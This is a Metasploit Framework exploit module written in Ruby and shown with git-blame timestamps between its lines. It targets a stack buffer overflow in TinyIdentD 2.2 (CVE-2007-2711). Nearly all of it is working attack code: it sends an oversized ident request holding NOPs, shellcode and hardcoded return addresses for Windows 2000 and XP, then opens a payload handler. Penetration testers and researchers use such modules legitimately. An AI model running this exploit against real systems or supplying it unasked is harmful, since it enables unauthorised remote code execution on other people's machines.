2009-12-15 18:47:29 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-15 18:47:29 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-15 18:47:29 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2010-05-09 17:45:00 +00:00
|
|
|
'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
|
2009-12-15 18:47:29 +00:00
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
|
2009-12-15 18:47:29 +00:00
|
|
|
If we send a long string to the ident service we can overwrite the return
|
2010-04-30 08:40:19 +00:00
|
|
|
address and execute arbitrary code. Credit to Maarten Boone.
|
2009-12-15 18:47:29 +00:00
|
|
|
},
|
|
|
|
'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
2009-12-15 18:47:29 +00:00
|
|
|
[
|
2010-09-20 08:06:27 +00:00
|
|
|
['CVE', '2007-2711'],
|
2009-07-27 14:05:23 +00:00
|
|
|
['OSVDB', '36053'],
|
2009-12-15 18:47:29 +00:00
|
|
|
['BID', '23981'],
|
|
|
|
],
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 400,
|
|
|
|
'BadChars' => "\x00\x0d\x20\x0a"
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
|
|
|
|
['Windows XP SP2 Italian', { 'Ret' => 0x77f46eda, } ], # call esi
|
2009-12-15 18:47:29 +00:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
],
|
2009-12-15 18:47:29 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'DisclosureDate' => 'May 14 2007'
|
|
|
|
))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options([ Opt::RPORT(113) ], self.class)
|
2009-12-15 18:47:29 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
pattern = "\xeb\x20"+", 28 : USERID : UNIX :";
|
|
|
|
pattern << make_nops(0x1eb - payload.encoded.length)
|
|
|
|
pattern << payload.encoded
|
|
|
|
pattern << [ target.ret ].pack('V')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
request = pattern + "\n"
|
|
|
|
|
|
|
|
print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
|
|
|
|
|
|
|
|
sock.put(request)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-12-15 18:47:29 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|